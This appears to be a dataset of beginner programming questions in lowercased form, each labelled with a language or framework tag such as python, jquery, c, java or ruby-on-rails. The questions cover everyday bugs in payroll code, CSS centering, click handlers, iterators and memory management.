python payroll program:  issue on while statement    im getting a few errors from this code  can anyone explain what seems to be the issue  thanks! this program is supposed to calculate the payroll for a declared (counter) amount of employees.    im getting a few errors from this code below  can anyone explain what seems to be the issue  thanks!     <pre><code>while (true):     status = eval(input( are they single(1) or married(2)  \n ))     if status != 1 or 2:         break </code></pre>   note: this is python 3.3    here s the rest of the code below. also: please feel free to make any improvements you like! i am looking to learn!   <pre><code>def computegrosspay(hours  rate):     if hours &gt; 40:         grosspay = (40 * rate) + ((hours - 40) * 1.5 * hours)     else:         grosspay =  hours * rate     return grosspay  def computetaxamount(status  grosspay):     if status == 1:             if grosspay &lt;= 42:                 taxamount = 0             elif grosspay &gt; 42 and grosspay &lt;= 214:                 taxamount = (grosspay - 15) * .1             elif grosspay &gt; 214 and grosspay &lt;= 739:                 taxamount = 17.2 + ((grosspay - 214) * .15)             elif grosspay &gt; 739 and grosspay &lt;= 1732:                 taxamount = 95.95 + ((grosspay - 739) * .28)             elif grosspay &gt; 1732 and grosspay &lt;= 2566:                 taxamount = 344.2 + ((grosspay - 1732) * .28)             elif grosspay &gt; 3566 and grosspay &lt;= 7703:                 taxamount = 857.72 + ((grosspay - 3566) * .33)             elif grosspay &gt; 7703 and grosspay &lt;= 7735:                 taxamount = 2222.93 + ((grosspay -7703) * .35)             elif grosspay &gt; 7735:                 taxamount = 2234.13 + ((grosspay - 7735) * .396)     elif status == 2:             if grosspay &lt;= 160:                 taxamount = 0             elif grosspay &gt; 160 and grosspay &lt;= 503:                 taxamount = (grosspay - 160) * .1             elif grosspay &gt; 503 and grosspay &lt;= 1554:                 taxamount = 34.3 + ((grosspay - 503) * .15)             elif grosspay &gt; 1554 and grosspay &lt;= 2975:                 taxamount = 191.95 + ((grosspay - 1554) * .28)             elif grosspay &gt; 2975 and grosspay &lt;= 4449:                 taxamount = 547.2 + ((grosspay - 2975) * .28)             elif grosspay &gt; 4449 and grosspay &lt;= 7820:                 taxamount = 959.92 + ((grosspay - 4449) * .33)             elif grosspay &gt; 7820 and grosspay &lt;= 8813:                 taxamount = 2072.35 + ((grosspay -7820) * .35)             elif grosspay &gt; 8813:                 taxamount = 2419.9 + ((grosspay - 8813) * .396)     return taxamount  def computenetpay(grosspay  taxamount):     netpay = grosspay - taxamount     return netpay  def main():     totalgrosspay = 0     print( welcome to the payroll program )     counter = eval(input( how many employees will be entered  \n ))     for i in range(counter):         name = input( what are the first and last names of the employee  \n )         id = input( what are the last four numbers of his/her social security number  \n )         hours = eval(input( how many hours did they work  \n ))         rate = eval(input( what was the rate  \n ))         while (true):             status = eval(input( are they single(1) or married(2)  \n ))             if status != 1 or 2:                 break         grosspay = computegrosspay(hours  rate)         taxamount = computetaxamount(status  grosspay)         netpay = computenetpay(grosspay  taxamount)         totalgrosspay = totalgrosspay + grosspay         averagegrosspay = totalgrosspay / counter          print( the id is    id)         print( the name is    name   . )         print( this employee worked    hours    hours. )         print( the hourly rate was    rate)         print( the gross pay was $   grosspay)         print( the tax amount withheld for the week is $   taxamount)         print( the net pay is $   netpay)     print( the total gross pay was $   totalgrosspay)     print( the average gross pay was $   averagegrosspay)  main() </code></pre>,python
why awakefromnib can t be called in controllers   i am a new developer  two questions as follows   <ol> <li> in controller  why can t i call the <code>awakefromnib</code> method    <pre class= lang-c prettyprint-override ><code>-(void)awakefromenib {     nslog(@ awakefromnib );// can t be printed   } </code></pre></li> <li> do the methods <code>awakefromnib</code> and <code>initwithnibname</code>   <code>layoutsubviews</code> have some relations  when and where should i use them  </li> </ol>,ios
how to do vertical+horizontal centering in css  it regularly occurs that i want to center a css box inside another one both vertically and horizontally.  what s the simplest way to do so that satisfies the following constraints    <ul> <li>the box should be precisely centered  not approximately.</li> <li>the technique should work in modern browsers and in ie versions back to 8</li> <li>the technique should <strong>not</strong> depend on explicitly knowing the width or height of either the centered content or the containing box.</li> <li>i generally know the container is larger than the content  but supporting larger content (which then overflows symmetrically) would be nice...</li> <li>the underlying content of the container must still be able to respond to clicks and hovers except where obscured by the centered content</li> </ul>   i currently use 4 (!) nested divs to achieve this  with css along the following lines:   <pre><code>.centering-1 {     position:absolute;     top:0; left:0; right:0; bottom:0;     text-align:center;     visibility:hidden; } .centering-2 {      height:100%;      display:inline-table;  } .centering-3 {      display:table-cell;      vertical-align:middle;  } .centering-content {      visibility:visible;  } </code></pre>   you can see <strong><a href= http://jsbin.com/ofapiv/1/edit  rel= nofollow noreferrer >this in action as a jsbin snippet</a></strong>. however  this approach  while workable  feels like extreme overkill due to the large number of wrapper divs  and it doesn t work with content that s larger than the container.  how can i center things in css,css
passing on object using jquery  hi have the following function which works fine:   <pre><code>        jquery( .btnremoveitem ).click(function(obj){                            jquery(this).closest( li ).fadeout(400  function() { $(this).remove(); }); // this works         });    </code></pre>   on this html code:   <pre><code>&lt;li id= listitem_dsc_6440.jpg &gt;      &lt;div class= buttonpanel &gt;         &lt;span title= delete image  class= btnremoveitem floatright  id= dsc_6440.jpg &gt; &lt;/span&gt;     &lt;/div&gt; &lt;/li&gt; </code></pre>   this fades down the list item  then removes it.<br> now i m adding a <code>jquery.post</code> and i need to put the fadeout / remove inside this .post   <pre><code>        jquery( .btnremoveitem ).click(function(obj){              jquery.post( wp-content/themes/storelocator/include/adm_gallery.php   { deleteimage:  single   name: jquery(this).attr( id ) }              function(data){                 if(data.status ==  deleted );                 {                     jquery(obj).closest( li ).fadeout(400  function() { $(this).remove(); });                 }             }   json );          });  </code></pre>   of course  this doesn t work. i m pretty sure it s because i don t know what <code>obj</code> is - and how i can use it.     can anyone help me please,jquery
adding uibutton to a detail view programatically  how is it possible to add a uibutton that can display a phone number and call that number automactically loading data from an array for each table view cell    thanks.,iphone
i m getting compilation error even though everything seems to be right  i was trying to make a simple c program which  given x and y coordinates  tells the quadrant.  i m getting an error:   <pre><code>cordinate.c: in function ‘main’: cordinate.c:28:1: error: expected ‘;’ before ‘{’ token </code></pre>   as far as i know syntax-wise i s correct.    code:   <pre><code>#include &lt;stdio.h&gt; void main() {     int x  y;      printf( enter the cordinate x and y\n );     scanf( %d%d  &amp;x &amp;y);      if ((x &gt; 0) &amp;&amp; (y &gt; 0)) {         printf( the point lies in 1st quadrant \n );     } else if ((x &lt; 0) &amp;&amp; (y &gt; 0)) {         printf( the point lies in 2nd quadrant \n );     } else if ((x &lt; 0) &amp;&amp; (y &lt; 0)) {             printf( the point lies in 3rd quadrant \n );     } else ( (x&gt;0) &amp;&amp; (y&lt;0) )      {            printf( the point lies in 4th quadrant \n );     } } </code></pre>   and when i do whatever is said i get the output as    <pre><code>input  22 33 output the point lies in 1st quadrant  the point lies in 4th quadrant </code></pre>   can anyone explain this,c
how to pass parameter through link_to   controller   <pre><code>class feedentriescontroller &lt; applicationcontroller   def index     @search = feedentry.search(params[:search])     @feed_entries = @search.page(params[:page])     @app_keys = appkey.all   end end </code></pre>   my feed_entries/index.html.erb   <pre><code>&lt;%= link_to  stared   {:controller =&gt;  feed_entries   :action =&gt;  index   :search =&gt; [ is_star =     true] }%&gt; </code></pre>   feed_entries table contain <code>is_star:boolean</code> attribute. so  i just want to pass the parameter is_star == true into the params[:search].    but the above code is not working. please some one help me.,ruby-on-rails
how to run c#.net windows application in windows ce platform   i have a windows application in c#.net 3.5 framework. i want to run this application on my scanner device that has windows ce . is there any solution to run my .net application on windows ce 6.0   i tried to install compact framework but it does not work as device has lower memory.,c#
sql assignment on how to join tables  had a question for an assignment that i can t seem to figure out the sql query for:   <ul> <li>stadiums (stadiumname  city  capacity) </li> <li>matches (stadiumname  date  time  country-1  country-2) </li> <li>teams (country  trainer  continent) </li> <li>players (playername  country  numgoals  position) </li> </ul>   express the following query in sql:     list the names of the stadiums in which no european teams will play.     hint: a team is european if it is from the continent of europe.,sql
why does {{ isnan(x) }} not work in angularjs   note the title of this question has changed to one that s more focused to the exact problem. see the comment stream to follow how it came about that i realized the problem is that angularjs does not seem to handle {{ isnan() }}     i have the following in my html:   <pre><code>xx {{ option.selectedsubject }} yy {{ (option.selectedsubject == null) }} zz </code></pre>   and i also tried:   <pre><code>xx {{ option.selectedsubject }} yy {{ option.selectedsubject == null }} z </code></pre>   and:   <pre><code>xx {{ option.selectedsubject }} yy {{ option.selectedsubject === null }} zz </code></pre>   can someone help explain to me why i get the following for each of the above when i view my page:   <pre><code>xx null yy false zz </code></pre>   <strong>update 1</strong> i tried the following:   <pre><code>aa {{ option.selectedsubject ===  null  }} bb {{ option.selectedsubject ==  null  }} cc </code></pre>   and it gives this:   <pre><code>aa false bb false cc </code></pre>   <strong>update 2</strong> i am not sure if this helps but here s what populates the values of option.selectedsubject. in this case there s nothing in local storage:   <pre><code>$scope.option.selectedsubject = parseint(localstorage.get( selectedsubject )); </code></pre>   when i check the value of $scope.option.selectedsubject it is <strong>nan</strong>,angularjs
jquery all checkbox select only works once  i looked at other threads but didn t find any solution that will work for me.    i m trying to select all the checkboxes here html:   <pre><code>&lt;input type= checkbox  id= selectall  onchange= toggleallworkers(this.checked);  /&gt;all&lt;br&gt; &lt;input type= checkbox  class= emp  name= w0  value= 1  onchange= buildpage();  /&gt;andrey &lt;br&gt; &lt;input type= checkbox  class= emp  name= w1  value= 4  onchange= buildpage();  /&gt;brian &lt;br&gt; &lt;input type= checkbox  class= emp  name= w2  value= 5  onchange= buildpage();  /&gt;eric &lt;br&gt; &lt;input type= checkbox  class= emp  name= w3  value= 3  onchange= buildpage();  /&gt;ken &lt;br&gt; &lt;input type= checkbox  class= emp  name= w4  value= 2  onchange= buildpage();  /&gt;kerry &lt;br&gt; </code></pre>   javascript   <pre><code>function toggleallworkers(status) {     $( #clickmenu .emp ).each( function(index) {         console.log( index +  :  +$(this).attr( checked )+  status: +status+  value: +$(this).val());         $(this).attr( checked  status);         console.log( index +  :  +$(this).attr( checked ));     }); } </code></pre>   but it only works twice after page reload.,jquery
how to have independent clicks  i m coding the ticktacktoe game  and i want to have every click have its own independent response. but my loops are messing with my output. its still under construction but i want to see results for me to progress   <pre><code>import javax.swing.*; import java.awt.*; import java.awt.event.*;  public class tictac extends jframe implements actionlistener{      jbutton [][] game = new jbutton[3][3];     jlabel head = new jlabel( tic-tac-toe );     font font = new font( time new roman   font.italic  20);     gridlayout grid = new gridlayout(3 3 0 0);     int row column =0;     flowlayout flow = new flowlayout();      tictac(){         super( tic-tac-toe );         //setlayout(flow);         //add(head);          setlayout(grid);         setvisible(true);         setdefaultcloseoperation(1);         setsize(500 500);          for (row =0; row&lt;3;row++ ){             for(column =0; column &lt;3;column++){                 game[row][column]= new jbutton(  );                 add(game[row][column]);                 game[row][column].addactionlistener(this);             }         }     }       public void actionperformed(actionevent e){           object source = e.getsource();         int count=1;          for (row =0; row&lt;3;row++ ){             for(column =0; column &lt;3;column++){                   if ((source == game[row][column]) &amp;&amp; (game[row][column].gettext()==  ) &amp;&amp; (count==1) )                     game[row][column].settext( x );                          if (source == game[row][column] &amp;&amp; (count % 2==0))                         game[row][column].settext( o );                         else if (source == game[row][column] &amp;&amp; (count % 2==1))                             game[row][column].settext( x );                   count++;                 }// end of first for              } // end of second for          }     }        public class tester {     public static void main(string[] args) {         tictac two =  new tictac();         } } </code></pre>,java
rails 3.1 collection_select over two levels  (nested models)  i am sorry for asking a beginner s question. i can t get a  collection_select  to work in a specific case.    im am trying to write a simple rails 3.1 app based on the following models:   <pre><code>class site &lt; activerecord::base      has_many :supply_sites  :dependent =&gt; :destroy      has_many :demand_sites  :dependent =&gt; :destroy      accepts_nested_attributes_for :supply_sites      accepts_nested_attributes_for :demand_sites end   class demandsite &lt; activerecord::base    belongs_to :site  :class_name =&gt;  site     has_many :translinks   :dependent =&gt; :destroy end   class supplysite &lt; activerecord::base    belongs_to :site  :class_name =&gt;  site     has_many :translinks   :dependent =&gt; :destroy end   class translink &lt; activerecord::base   belongs_to :supply_site  :class_name =&gt;   supplysite    belongs_to :demand_site  :class_name =&gt;   demandsite  end </code></pre>   migrations are as follows:   <pre><code>class createsites &lt; activerecord::migration   def self.up     create_table :sites do |t|       t.string :name       t.string :codename  :limit =&gt; 3        t.timestamps     end   end    def self.down     drop_table :sites   end end    class createsupplysites &lt; activerecord::migration   def self.up     create_table :supply_sites do |t|       t.integer :site_id       t.float :supply_quantity        t.timestamps     end   end    def self.down     drop_table :supply_sites   end end   class createdemandsites &lt; activerecord::migration   def self.up     create_table :demand_sites do |t|       t.integer :site_id       t.float :demand_quantity        t.timestamps     end   end    def self.down     drop_table :demand_sites   end end   class createtranslinks &lt; activerecord::migration   def self.up     create_table :translinks do |t|       t.integer :supply_site_id       t.integer :demand_site_id       t.float :unit_cost       t.float :quantity        t.timestamps     end   end    def self.down     drop_table :translinks   end end </code></pre>   i want to be able to add a new  translink  (transportation link) between a  supply site  and a  demand site by selecting from a drop-down menu based on the codenames of the respective supply site or demand site  where the codenames are specfified for the  sites .    when adding a new  supply site  (or a  demand site )  the following works well (from  _form.html.erb  for either supply sites or demand sites.   <pre><code>&lt;div class= field &gt;     &lt;%= f.label :site_id %&gt;&lt;br /&gt;     &lt;%= f.collection_select :site_id  site.find(:all)  :id  :codename %&gt;   &lt;/div&gt; </code></pre>   now i want something analogous for for adding a new  translink  connecting a supply site and a demand site. i don t want to add the respective supply_site_id or demand_site_id manually  but a list of all supply sites to select one by the codename defined in the underlying site  and the same for the demand sites. i can do the following to to have a drop-down menu to select  say  one out of the existing supply sites:   <pre><code>&lt;div class= field &gt;     &lt;%= f.label :supply_site_id %&gt;&lt;br /&gt;     &lt;%= f.collection_select :supply_site_id   supplysite.find(:all)  :id  :id  %&gt; &lt;/div&gt; </code></pre>   however  instead of displaying the id of the supply sites in the drop-down menu  i would rather see and select from the codename of the underlying  site .   <pre><code>&lt;div class= field &gt;     &lt;%= f.label :supply_site_id %&gt;&lt;br /&gt;     &lt;%= f.collection_select :supply_site_id   supplysite.find(:all)  :id        %&gt;   &lt;/div&gt; </code></pre>   how can i do this     any help would be greatly appreciated!    stefan,ruby-on-rails
char data type in c  in a c book says that char data type can memorise numbers and ascii characters. how the computer knows if i refer to a character or to a number  for example  if i want to print on screen the value of a char variable  how computer knows if i refer to the ascii character for that number or i refer to that number     thanks in advance.,c
cannot find interface declaration for superclass of  i know this is a common subject but i did not find any answer to help me out with this problem.     well  i do have (by now) 3 .h files   one is the superclass of the two others.    superclass : exportationautofilternew   <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;hidden/pluginfilter.h&gt;  @class myoutlineview;  @interface exportationautofilternew : pluginfilter     @property (assign  nonatomic) nsuserdefaults *prefs;     @property (assign  nonatomic) myoutlineview *databaseoutline; @end </code></pre>   then  sub-classes : detectnewexams &amp; exportexams   <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;hidden/pluginfilter.h&gt; #import  exportationautofilternew.h   @interface detectnewexams : exportationautofilternew  - (void)detectexams:(nsdate*)currentdate timeinterval:(double)timeinterval afterexithidden:(bool)check; </code></pre>   and   <pre><code>#import &lt;foundation/foundation.h&gt; #import &lt;hidden/pluginfilter.h&gt; #import  exportationautofilternew.h   @interface exportexams : exportationautofilternew  - (void)exportexams:(nsmanagedobject*)curobj; </code></pre>   the .m goes like this    superclass : exportationautofilter   <pre><code>#import &lt;hidden/preferenceswindowcontroller.h&gt; #import &lt;hidden/browsercontroller.h&gt; #import  exportationautofilternew.h  #import  detectnewexams.h   @implementation exportationautofilternew </code></pre>   xcode for this file (exportationautofilternew.m) :   <pre><code>instance method  -detectexams:timeinterval:afterexithidden:  not found (return type defaults to  id ) </code></pre>   for the call of :    <pre><code>[self detectexams:lastexportdate timeinterval:0 afterexithidden:yes]; </code></pre>   sub-classes : detectnewexams    <pre><code>#import &lt;hidden/preferenceswindowcontroller.h&gt; #import &lt;hidden/browsercontroller.h&gt; #import  detectnewexams.h  #import  exportexams.h   @implementation detectnewexams </code></pre>   in this file (detectnewexams.m)  xcode says :   <pre><code>instance method  -exportexams:  not found(return type defaults to  id ) </code></pre>   calling :    <pre><code>[self exportexams:curobj]; </code></pre>   and then :  exportexams   <pre><code>#import &lt;hidden/preferenceswindowcontroller.h&gt; #import &lt;hidden/browsercontroller.h&gt; #import  exportexams.h   @implementation exportexams </code></pre>   i m wasting hours on this thing and i can t figure the problem out  may you help me   i looked up for compiling circle but i don t think i created one with my imports ..     thanks.,objective-c
time taken by for loop with (2^32-1) or (2^64-1) or more is same  i calculated the time taken by a for loop <code>for (i=0; i&lt;4294967295;i++)</code> in the c language. surprising  it is very short (80-88 ns) on my node (speed 1600mhz). later  i tried to run the two for loop one above the other (i.e. <code>for(j=0; j&lt;4294967295;j++)</code> <code>for(i=0; i&lt;4294967295;i++)</code>. surprisingly  this time is also short and same (i.e.  80ns). could somebody explain me  why the time too low while running so many <code>i++</code> in the for loop. additionally  when i run two or three for loops  why the time taken by these many <code>i++</code> is same. many thanks in advance for a reply!,c
cannot assign to this  i have a class like so:   <pre><code>class node {     // data     node* next;     void operator++(int); }; </code></pre>   and when i define the post-increment operator like so:   <pre><code>void node::operator++(int) {     this = this-&gt;next; } </code></pre>   i get the error <code>expression is not assignable</code> on <code>this = this-&gt;next;</code>.    what s up with this  how do i get <code>this</code> to point to <code>next</code>,c++
get href value of clicked link loaded dynamically via ajax in jquery  this one has been driving me nuts. i have a div that has it s content loaded via ajax when the page loads. the contents of the div are several hyperlinks. i am trying to get the href value of the clicked link using <code>$(this).attr( href )</code>. however  this always returns  undefined . i am guessing  since the hyperlinks were dynamically loaded via ajax  jquery is unable to return the href value. i have checked the page source and confirmed that all hyperlinks carry valid href links.    how can i retrieve the href values for hyperlinks dynamically loaded via ajax,jquery
objective-c imagewithcgimage memory leak  i want to save all my photos from assets to some folder. doing this in loop by:   <pre><code>alassetrepresentation *representation = [asset defaultrepresentation]; cgimageref imageref = [representation fullresolutionimage];   alassetorientation orientation = [representation orientation]; uiimage *image = [uiimage imagewithcgimage:imageref scale:1.0 orientation:(uiimageorientation)orientation];  cgfloat compressionquality = 1.0; nsdata *imagedata = [nsdata datawithdata:uiimagejpegrepresentation(image  compressionquality)]; [imagedata writetofile:path atomically:yes];  cgimagerelease(imageref); </code></pre>   i have automatic reference counting enabled. this code is inside autorelease pool. it has a memory leak of cgimageref objects. if i ll make    <pre><code>cgimagerelease(imageref); cgimagerelease(imageref); </code></pre>   twice there is no memory leak. why  anybody can help me,objective-c
in rails  shouldn t we create a service layer  instead of jumbling logic into a controller   say i have a controller that returns a list of users. the users are to be returned from memcache if the cache key exists  otherwise hit the mysql db. this logic will be re-used in say a web service layer or something.    action:   <pre><code>def list    if in cache      @userlist = ...   else      @userlist = user.all()   end  end </code></pre>   in the java world  you would create a userservice layer that would wrap additional logic (like first checking the cache layer  etc.).    in rails it people tend to put all this logic in the controller.    what is the rails  best-practise  here,ruby-on-rails
error - incompatible dacfx version is installed  i am new in mvc 4 using visual studio 2012. it created default connection. i want to  open table definition  of table in  server explorer  (right click on table > open table definition ). but it throws error in dialog box with message  an incompatible dacfx version is installed . what should i do      something need to install/upgrade using nuget,.net
how do i create a macro or snippet for a repetitive html tag   i m writing some html code and i m having trouble on trying to  summarize  if that s the right words multiple lines of code. basically i have a select tag that i want to put many times in the html code but i don t want to re-writ eover and over again. what is the name for this action  is it a macro  a snippet  an html function     basically:   <pre><code>&lt;select&gt; &lt;option value= default &gt;-select an attribute-&lt;/option&gt; &lt;option value= animal &gt;animal&lt;/option&gt; &lt;option value= person &gt;person/human&lt;/option&gt; &lt;option value= cat &gt;cat&lt;/option&gt; &lt;option value= dog &gt;dog&lt;/option&gt; &lt;option value= open &gt;open space&lt;/option&gt; &lt;option value= closed &gt;closed space &lt;/option&gt; &lt;option value= natural &gt;natural&lt;/option&gt; &lt;option value= artificial &gt;artificial&lt;/option&gt; &lt;option value= explicit &gt;explicit&lt;/option&gt; &lt;option value= sexual &gt;sexual&lt;/option&gt; &lt;option value= innocent &gt;innocent&lt;/option&gt; &lt;option value= fearful &gt;fearful&lt;/option&gt; &lt;option value= religious &gt;religious&lt;/option&gt; &lt;/select&gt; </code></pre>   can i define a shortcut or a macro everytime i want to use that select tag code snippet  what s this process called in the html lingo  so i can have it in mind for future references     can t i do something like:   <pre><code>&lt;select id= snippet &gt; &lt;/select&gt; </code></pre>   that saves me the lines of code after doing a first definition,html
uibutton s titlelabel not accessible depending on context  in one of my classes  i can run    <pre><code>uibutton *testbutton = [uibutton buttonwithtype:uibuttontypecustom]; nslog(@ testbutton s titlelabel is %@   testbutton.titlelabel); </code></pre>   and it prints the titlelabel just fine:   <pre><code>2013-02-26 19:11:49.223 facebook[82876:c07] testbutton s titlelabel is &lt;uibuttonlabel: 0x1aad39f0; frame = (0 0; 0 0); clipstobounds = yes; hidden = yes; opaque = no; userinteractionenabled = no; layer = &lt;calayer: 0x1aad3a90&gt;&gt; </code></pre>   in a class during a test  however  i get <code>exc_bad_access</code> when i try to access the testbutton s titlelabel  even though i m using the same two lines of code.    any ideas,ios
jquery hover function not working not working on hover out  i m trying to make a hover function for and eye on a face. when i hover over it works properly(the ee disappears)  but when i hover out the visibilityshow class does not display (the eye does not reappear)   <pre><code>    &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;meta charset= utf-8 &gt; &lt;title&gt;kow your face&lt;/title&gt; &lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt; $(document).ready(function(){   $( .lefteye ).hover(function(){     $( .lefteye ).addclass( visibilityhidden );     } function(){     $( .lefteye ).addclass( visibilityshow );   }); }); &lt;/script&gt; &lt;/script&gt;  &lt;style&gt; .visibilityshow {     visibility: visible;     } .visibilityhidden {     visibility: hidden; } #face {     background-image: url(face.png);     width: 262px;     height: 262px;     } .lefteye {     background-image: url(circle.png);     width: 28px;     height: 28px;     position: relative;     top: 69px;     left: 59px;     } .righteye {     background-image: url(circle.png);     width: 28px;     height: 28px;     position: relative;     top: 41px;     left: 167px;     } .mouth {     background-image: url(circle.png);     width: 28px;     height: 28px;     position: relative;     top: 84px;     left: 114px;     }            &lt;/style&gt; &lt;/head&gt;  &lt;body&gt;     &lt;div id= face &gt;         &lt;div class= lefteye &gt;         &lt;/div&gt;         &lt;div class= righteye &gt;         &lt;/div&gt;         &lt;div class= mouth &gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= lefteyedes  style= display:none; &gt;     &lt;p&gt;left eye&lt;/p&gt;     &lt;/div&gt;     &lt;div class= righteyedes  style= display:none; &gt;     &lt;p&gt;right eye&lt;/p&gt;     &lt;/div&gt;     &lt;div class= mouthdes  style= display:none; &gt;     &lt;p&gt;mouth&lt;/p&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html </code></pre>   >,jquery
asp.net shopping cart on northwind database  thank you for the inputs. i have captured the product selection from the shop page in the form of session variables and displayed them on checkout page. my last step  is to be able to kill a few products on the check out page(incase the customer selected products he did not need). here is my attempt for the same.   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using system.web.ui; using system.web.ui.webcontrols; using system.data.sqlclient;  namespace shoppingcart {     public partial class checkout : system.web.ui.page     {         protected void page_load(object sender  eventargs e)         {              if (!ispostback)             {                 checkboxlist1.datasource = session[ myselecteditems ];                  checkboxlist1.databind();             }          }          protected void returnbacktoshopping_click(object sender  eventargs e)         {             response.redirect( shopping.aspx );         }          public void killorders()         {             for (int i = 0; i &lt; checkboxlist1.items.count; i++)             {                  if (checkboxlist1.items[i].selected)                 {                     checkboxlist1.items.remove(i);                 }             }         }          protected void removeitems_click(object sender  eventargs e)         {             killorders();             list&lt;listitem&gt; selectitems = new list&lt;listitem&gt;();              foreach (listitem item in checkboxlist1.items)             {                 if (item.equals(null))                     selectitems.add(item);             }              session.add( myselecteditems   selectitems);             checkboxlist1.datasource = session[ myselecteditems ];              checkboxlist1.databind();           }         } } </code></pre>,asp.net
the iterator() method in the following class needs help please  so the very first method iterator() calls the constructor of aiterator class which resets the index to 0 every time the constructor is called. and so each time i try to iterate through a collection using iterator().hasnext() and iteratro().next() it turns into an infinite loop. not sure how to deal with this. can you please help  i have pasted aiterator class at the bottom too. they are in the same package.   <pre><code>import java.util.arrays; import java.util.collection; import java.util.iterator; import java.lang.unsupportedoperationexception;  /**  * comment me!!!  * @author   * @version   */      // equals method needs work probably     // works till add()     // enters into infinite loop when trying to run addall()     // everything in between /* ... */ and // and /** .... **/ are experiments or thought :)   public class aset&lt;r&gt; implements set151interface&lt;r&gt;{     // todo: write code      public static final int default_capacity = 10;     private r[] genarray;        @suppresswarnings( unchecked )     public aset(int size) {         if(size &lt; 0) {             throw new illegalargumentexception();         }         genarray = (r[]) new object[size];     }      public aset() {         this(default_capacity);     }      @suppresswarnings( unchecked )     public aset(collection&lt;  extends r&gt; collection) {         this(default_capacity);         if (collection == null) {             throw new illegalargumentexception();         }          genarray = (r[]) collection.toarray();         //addall(collection);         /*         iterator&lt;r&gt; myiterator = this.iterator();         while(myiterator.hasnext()) {             r current = myiterator.next();             if(current == null) {                 throw new illegalargumentexception();             }             if(!(this.contains(current))) {                 this.add(current);                 system.out.println( test );             }         }          */      }      /**      * provides a method for traversing an array using a well-known java interface.      * @return an interator that can traverse the given adt.      **/     @override     public iterator&lt;r&gt; iterator() {          iterator&lt;r&gt; asetiterator = new aiterator&lt;r&gt;(genarray  size());         //aiterator&lt;r&gt; asetiterator = this.iterator();         return asetiterator;      }          @override     public boolean add(r q) {         if(q == null) {             throw new illegalargumentexception();         }         /*         while(iterator().hasnext()) {             if(this.equals(q)){                 return false;             }         }         */               checkcapacity();         genarray[size()] = q;          return true;     }      @override     public void clear() {         while(iterator().hasnext()) {             remove(iterator().next());         }     }       @override     public boolean isempty() {          return genarray.length == 0;     }      @override     public boolean addall(collection&lt;  extends r&gt; c) {         int check = size();         if(checktype(c)) {             @suppresswarnings( unchecked )             aset&lt;r&gt; newcollection = (aset&lt;r&gt;) c;             system.out.println(newcollection.size());             while(newcollection.iterator().hasnext()) {                     add(newcollection.iterator().next());                     newcollection.iterator().next();             }          }         /*         r currentcollection = c.iterator().next();         while(iterator().hasnext()) {             while(c.iterator().hasnext()) {                 if(!this.contains(currentcollection)) {                     add(currentcollection); // or change iterator().next() with  this                  }             }         }         */         if(check == size()) {             return true;         }         return false;     }      @override     public int size() {         int asetsize = 0;         for (int i=0; i &lt; genarray.length; i++) {             if(genarray[i] != null) {                 asetsize++;             }         }         return asetsize;         /*int asetsize = 0;             while(iterator().hasnext()) {                 if(iterator().next() != null) {                     asetsize++;                 }             }         return asetsize;         */     }      public int getcapacity() {          if(genarray.length &lt;= default_capacity){             return default_capacity;         }         return genarray.length;     }      private void checkcapacity() {         if(size() &gt;= genarray.length) {             @suppresswarnings( unchecked )             r[] newgenarray = (r[]) new object[genarray.length + default_capacity];             system.arraycopy(genarray  0  newgenarray  0  size());             genarray = newgenarray;         }     }       @override     public object[] toarray() {         throw new unsupportedoperationexception();     }      @override     public &lt;t&gt; t[] toarray(t[] array){          throw new unsupportedoperationexception();     }      /* (non-javadoc)      * @see java.lang.object#hashcode()      */     @override     public int hashcode() {         final int prime = 31;         int result = 1;         result = prime * result + arrays.hashcode(genarray);         return result;     }      /* (non-javadoc)      * @see java.lang.object#equals(java.lang.object)      */     @override     public boolean equals(object obj) {          if (this == obj) {             return true;         }         if (obj == null) {             return false;         }         if (!(obj instanceof aset)) {             return false;         }          @suppresswarnings( unchecked )         aset&lt;r&gt; other = (aset&lt;r&gt;) obj;         if (!(size() == other.size()) &amp;&amp; comparearrays(genarray  other.genarray)) {             system.out.println( 2 :(  );             system.out.println(genarray.length);             system.out.println(other.genarray.length);             return false;         }         return true;     }     // probably needs to be sorted before using this method     private boolean comparearrays(r a[]  r b[]) {         arrays.sort(a);         arrays.sort(b);         int shortarrlength = math.min(a.length  b.length);         for (int i = 0; i&lt;shortarrlength; i++) {             if(!(a[i].hashcode() == b[i].hashcode())) {                 return false;             }         }         return true;     }      /* (non-javadoc)      * @see java.lang.object#tostring()      @override     public string tostring() {         return  &lt;  + arrays.tostring(genarray) +  &gt; ;     }     */      @override     public string tostring() {         if (size() == 0) {             return  &lt;&gt; ;         }         string aset =   ;         for(r element:genarray) {             if(element != null) {                 aset +=      + element.tostring();             }         }         return  &lt;  + aset.substring(2) +  &gt; ;     }      private boolean checktype(object other) {          if(other.getclass().equals(this.getclass())) {             return true;         }         return false;     } } </code></pre>   <strong>aiterator class</strong> i have made changes to next() because i thought index was not increasing anywhere in the class and it probably would result in infinite loop too if i haven t added index++ before the return statement.   <pre><code>import java.util.iterator; import java.util.nosuchelementexception; /**  * this class creates an iterator to travers an aset object.  * @author william kreahling  * @version 10/1/2014  */ public class aiterator&lt;e&gt; implements iterator&lt;e&gt;{     private int index;     private e[] data;     private int size;      /**      * created an iterator for an aset object.      * @param data the generic array for aset.      * @param size the number of elements (cardinality) of the set.      */     public aiterator(e[] data  int size) {         index = 0;         this.size = size;         this.data = data;      }     /**      * returns the next element of the collection.      * @return the next element if the set.      * @throws nosuchelementexception if there are no elements left in the set.      */     public e next() {         if (index &gt;= size) {             throw new nosuchelementexception( cannot access element   + index +                                               this set has a total of   + size +   elements. );         }         index++;                        // this line has been added         return data[index];             // this line has been edited from -&gt; return data[index++];     }      /**      * determines if there are elements left in the set.      * @return true if there are more elements in the set.      */     public boolean hasnext() {         return index &gt;= 0 &amp;&amp; index &lt; size;     }      public void remove() {         throw new unsupportedoperationexception( aiterator does not support remove );     }  } </code></pre>,java
